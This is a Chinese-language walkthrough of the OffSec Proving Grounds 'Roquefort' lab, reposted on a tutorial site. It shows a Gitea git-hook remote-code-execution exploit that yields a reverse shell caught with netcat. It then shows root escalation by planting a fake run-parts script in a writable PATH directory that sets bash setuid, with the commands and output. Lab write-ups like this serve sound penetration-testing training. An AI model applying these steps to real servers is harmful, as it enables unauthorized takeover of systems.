OSCP - Proving Grounds - Roquefort

主要知识点

  • githook 注入
  • Linux path覆盖

具体步骤

依旧是nmap扫描开始，3000端口不是很熟悉，先看一下

Nmap scan report for 192.168.54.67
Host is up (0.00083s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT     STATE  SERVICE VERSION
21/tcp   open   ftp     ProFTPD 1.3.5b
22/tcp   open   ssh     OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey: 
|   2048 aa:77:6f:b1:ed:65:b5:ad:14:64:40:d2:24:d3:9c:0d (RSA)
|   256 a9:b4:4f:61:2e:2d:9d:4c:48:15:fe:70:8e:fa:af:b3 (ECDSA)
|_  256 92:56:eb:af:c9:34:af:ea:a1:cf:9f:e1:90:dd:2f:61 (ED25519)
53/tcp   closed domain
2222/tcp open   ssh     Dropbear sshd 2016.74 (protocol 2.0)
3000/tcp open   ppp?

发现是 gitea ,版本为1.7.5，

 

搜索一下得到 https://github.com/p0dalirius/CVE-2020-14144-GiTea-git-hooks-rce，简单阅读一下发现是利用githook执行系统命令创建反弹shell

尝试利用弱密码登录http://192.168.156.67:300/发现失败，于是创建一个用户试试，再创建一个新项目后尝试更改githook

保存后在本地clone相关项目，做些更改后再提交，反弹shell创建成功

C:\home\kali\Documents\OFFSEC\GoToWork\Roquefort\Test> vi test.txt C:\home\kali\Documents\OFFSEC\GoToWork\Roquefort\Test> git add *             C:\home\kali\Documents\OFFSEC\GoToWork\Roquefort\Test> git commit -m "test1" 
[master 9925c74] test11 file changed, 1 insertion(+), 1 deletion(-)C:\home\kali\Documents\OFFSEC\GoToWork\Roquefort\Test> git push origin master
Username for 'http://192.168.156.67:3000': timothy
Password for 'http://timothy@192.168.156.67:3000': 
remote: invalid credentials
fatal: Authentication failed for 'http://192.168.156.67:3000/timothy/Test/'C:\home\kali\Documents\OFFSEC\GoToWork\Roquefort\Test> git push origin master
Username for 'http://192.168.156.67:3000': timothy
Password for 'http://timothy@192.168.156.67:3000': 
Enumerating objects: 5, done.
Counting objects: 100% (5/5), done.
Delta compression using up to 4 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (3/3), 266 bytes | 266.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
C:\home\kali\Documents\OFFSEC\GoToWork\Roquefort> nc -nlvp 2222
listening on [any] 2222 ...
connect to [192.168.45.234] from (UNKNOWN) [192.168.156.67] 48668
bash: cannot set terminal process group (753): Inappropriate ioctl for device
bash: no job control in this shell
chloe@roquefort:~/gitea-repositories/timothy/test.git$ whoami
whoami
chloe

无法sudo,suid也没发现有用的信息，尝试上传Linpeas.sh发现该用户对于/usr/local/bin有写权限，所以也许可以覆盖linux path后面的命令来提权(linux寻找可执行文件是从path左到右的各个路径去找）

......
......
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
......
......

再执行pspy64,发现run-parts会被定期执行，于是我们可以尝试覆盖run-parts

./pspy64
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855██▓███    ██████  ██▓███ ▓██   ██▓▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ ░░       ░  ░  ░  ░░       ▒ ▒ ░░  ░           ░ ░     ░ ░     Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2024/10/27 19:34:31 CMD: UID=0    PID=92     | 
2024/10/27 19:34:31 CMD: UID=0    PID=9      | 
......
......
2024/10/27 19:35:01 CMD: UID=0    PID=14147  | /bin/sh -c    cd / && run-parts --report /etc/cron.hourly 
......
......

 

/bin/路径在path中的位置是在/usr/local/bin后面，所以成功提权

chloe@roquefort:~$ whereis run-parts
whereis run-parts
run-parts: /bin/run-parts /usr/share/man/man8/run-parts.8.gz
chloe@roquefort:~$ cd /usr/local/bin
lscd /usr/local/bin -l
chloe@roquefort:/usr/local/bin$ 
ls -l
total 63772
-rwxr-xr-x 1 root staff 65299840 Mar  6  2020 gitea
chloe@roquefort:/usr/local/bin$ echo "chmod +s /bin/bash" > run-parts
echo "chmod +s /bin/bash" > run-parts
chloe@roquefort:/usr/local/bin$ chmod +x run-parts
chmod +x run-partsl
chloe@roquefort:/usr/local/bin$ s -l
chloe@roquefort:/usr/local/bin$ ls -l /bin/bash
ls -l /bin/bash
-rwsr-sr-x 1 root root 1099016 May 15  2017 /bin/bash
chloe@roquefort:/usr/local/bin$ /bin/bash -p
/bin/bash -p
id
uid=1000(chloe) gid=1000(chloe) euid=0(root) egid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),1000(chloe)
cat /root/proof.txt
203a640d81971f425ddb028950a9c595

 

 

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.rhkb.cn/news/11799.html

如若内容造成侵权/违法违规/事实不符，请联系长河编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

Python + Tkinter + pyttsx3实现的桌面版英语学习工具

Python + Tkinter + pyttsx3实现的桌面版英语学习工具

Python Tkinter pyttsx3实现的桌面版英语学习工具 在多行文本框输入英文句子，双击其中的英文单词，给出英文读音和中文含义和音标。 本程序查询本地词典数据。通过菜单栏"文件"->"打开词典编辑器"进入编辑界面。 词典数据存储…
阅读更多...
实验六 项目二 简易信号发生器的设计与实现 （HEU）

实验六 项目二 简易信号发生器的设计与实现 （HEU）

声明：代码部分使用了AI工具 实验六 综合考核 Quartus 18.0 FPGA 5CSXFC6D6F31C6N 1. 实验项目 要求利用硬件描述语言Verilog（或VHDL）、图形描述方式、IP核，结合数字系统设计方法，在Quartus开发环境下&#xff…
阅读更多...
17.3.4 颜色矩阵

17.3.4 颜色矩阵

版权声明：本文为博主原创文章，转载请在显著位置标明本文出处以及作者网名，未经作者允许不得用于商业目的。 17.3.4.1 矩阵基本概念 矩阵（Matrix）是一个按照长方阵列排列的复数或实数集合，类似于数组。 由…
阅读更多...
音视频入门基础：RTP专题（8）——使用Wireshark分析RTP

音视频入门基础：RTP专题（8）——使用Wireshark分析RTP

一、引言 通过Wireshark可以抓取RTP数据包，该软件可以从Wireshark Go Deep 下载。 二、通过Wireshark抓取RTP数据包 首先通过FFmpeg将一个媒体文件转推RTP，生成RTP流： ffmpeg -re -stream_loop -1 -i input.mp4 -vcodec copy -an -f rtp …
阅读更多...
【leetcode100】路径总和Ⅲ

【leetcode100】路径总和Ⅲ

1、题目描述 给定一个二叉树的根节点 root ，和一个整数 targetSum ，求该二叉树里节点值之和等于 targetSum 的 路径 的数目。 路径 不需要从根节点开始，也不需要在叶子节点结束，但是路径方向必须是向下的（只能从父节点…
阅读更多...
解锁数据结构密码：层次树与自引用树的设计艺术与API实践

解锁数据结构密码：层次树与自引用树的设计艺术与API实践

1. 引言：为什么选择层次树和自引用树？ 数据结构是编程中的基石之一，尤其是在处理复杂关系和层次化数据时，树形结构常常是最佳选择。层次树（Hierarchical Tree）和自引用树（Self-referencing Tree…
阅读更多...
python-leetcode-二叉树的层序遍历

python-leetcode-二叉树的层序遍历

102. 二叉树的层序遍历 - 力扣（LeetCode） # Definition for a binary tree node. # class TreeNode: # def __init__(self, val0, leftNone, rightNone): # self.val val # self.left left # self.right right from coll…
阅读更多...
c++可变参数详解

c++可变参数详解

目录 引言 库的基本功能 va_start 宏: va_arg 宏 va_end 宏 va_copy 宏 使用 处理可变参数代码 C11可变参数模板 基本概念 sizeof... 运算符 包扩展 引言 在C编程中，处理不确定数量的参数是一个常见的需求。为了支持这种需求，C标准库提供了 &…
阅读更多...
w191教师工作量管理系统的设计与实现

w191教师工作量管理系统的设计与实现

🙊作者简介：多年一线开发工作经验，原创团队，分享技术代码帮助学生学习，独立完成自己的网站项目。 代码可以查看文章末尾⬇️联系方式获取，记得注明来意哦~🌹赠送计算机毕业设计600个选题excel文…
阅读更多...
Vuex状态管理

Vuex状态管理

1、Vuex 是什么？ Vuex 是一个专为 Vue.js 应用程序开发的状态管理模式 库。它采用集中式存储管理应用的所有组件的状态，并以相应的规则保证状态以一种可预测的方式发生变化。 简单理解 Vuex可以帮我们管理全局的属性，并且是是响应式的&…
阅读更多...
DBASE DBF数据库文件解析

DBASE DBF数据库文件解析

基于Java实现DBase DBF文件的解析和显示 JDK19编译运行，实现了数据库字段和数据解析显示。 首先解析数据库文件头代码 byte bytes[] Files.readAllBytes(Paths.get(file));BinaryBufferArray bis new BinaryBufferArray(bytes);DBF dbf new DBF();dbf.VersionN…
阅读更多...
亚博microros小车-原生ubuntu支持系列：20 ROS Robot APP建图

亚博microros小车-原生ubuntu支持系列：20 ROS Robot APP建图

依赖工程 新建工程laserscan_to_point_publisher src/laserscan_to_point_publisher/laserscan_to_point_publisher/目录下新建文件laserscan_to_point_publish.py #!/usr/bin/env python3import rclpy from rclpy.node import Node from geometry_msgs.msg import PoseStam…
阅读更多...
冷启动+强化学习：DeepSeek-R1 的原理详解——无需监督数据的推理能力进化之路

冷启动+强化学习：DeepSeek-R1 的原理详解——无需监督数据的推理能力进化之路

本文基于 DeepSeek 官方论文进行分析，论文地址为：https://github.com/deepseek-ai/DeepSeek-R1/blob/main/DeepSeek_R1.pdf 有不足之处欢迎评论区交流 原文翻译 在阅读和理解一篇复杂的技术论文时，逐字翻译是一个重要的步骤。它不仅能帮助我们准确把握作者的原意，还能为后续…
阅读更多...
优选算法的灵动之章：双指针专题（一）

优选算法的灵动之章：双指针专题（一）

个人主页：手握风云 专栏：算法 一、双指针算法思想 双指针算法主要用于处理数组、链表等线性数据结构中的问题。它通过设置两个指针，在数据结构上进行遍历和操作，从而实现高效解决问题。 二、算法题精讲 2.1. 查找总价格为目标值…
阅读更多...
数据结构之栈和队列(超详解)

数据结构之栈和队列(超详解)

文章目录 概念与结构栈队列 代码实现栈栈是否为空，取栈顶数据、栈的有效个数 队列入队列出队列队列判空，取队头、队尾数据，队列的有效个数 算法题解有效的括号用队列实现栈用栈实现队列复用 设计循环队列数组结构实现循环队列构造、销毁循环队…
阅读更多...
解析 Oracle 中的 ALL_SYNONYMS 和 ALL_VIEWS 视图：查找同义词与视图的基础操作

解析 Oracle 中的 ALL_SYNONYMS 和 ALL_VIEWS 视图：查找同义词与视图的基础操作

目录 前言1. ALL_SYNONYMS 视图2. ALL_VIEWS 视图3. 扩展 前言 🤟 找工作，来万码优才：👉 #小程序://万码优才/r6rqmzDaXpYkJZF 1. ALL_SYNONYMS 视图 在 Oracle 数据库中，同义词（Synonym）是对数…
阅读更多...
DeepSeek-R1 本地部署教程（超简版）

DeepSeek-R1 本地部署教程（超简版）

文章目录 一、DeepSeek相关网站二、DeepSeek-R1硬件要求三、本地部署DeepSeek-R11. 安装Ollama1.1 Windows1.2 Linux1.3 macOS 2. 下载和运行DeepSeek模型3. 列出本地已下载的模型 四、Ollama命令大全五、常见问题解决附：DeepSeek模型资源 一、DeepSeek相关网站 官…
阅读更多...
【C语言入门】解锁核心关键字的终极奥秘与实战应用（二）

【C语言入门】解锁核心关键字的终极奥秘与实战应用（二）

目录 一、sizeof 1.1. 作用 2.2. 代码示例 二、const 2.1. 作用 2.2. 代码示例 三、signed 和 unsigned 3.1. 作用 3.2. 代码示例 四、struct、union、enum 4.1. struct（结构体） 4.1.1. 作用 4.1.2. 代码示例 4.2. union（联合…
阅读更多...
如何确认Linux嵌入式系统的触摸屏对应的是哪个设备文件？如何查看系统中所有的输入设备？输入设备的设备文件有什么特点？

如何确认Linux嵌入式系统的触摸屏对应的是哪个设备文件？如何查看系统中所有的输入设备？输入设备的设备文件有什么特点？

Linux嵌入式系统的输入设备的设备文件有什么特点？ 在 Linux 中，所有的输入设备（如键盘、鼠标、触摸屏等）都会被内核识别为 输入事件设备，并在 /dev/input/ 目录下创建相应的 设备文件，通常是： …
阅读更多...
ESP32-c3实现获取土壤湿度（ADC模拟量）

ESP32-c3实现获取土壤湿度（ADC模拟量）

1硬件实物图 2引脚定义 3使用说明 4实例代码 // 定义土壤湿度传感器连接的模拟输入引脚 const int soilMoisturePin 2; // 假设连接到GPIO2void setup() {// 初始化串口通信Serial.begin(115200); }void loop() {// 读取土壤湿度传感器的模拟值int sensorValue analogRead…
阅读更多...
最新文章
推荐文章

Copyright @ 2022~2023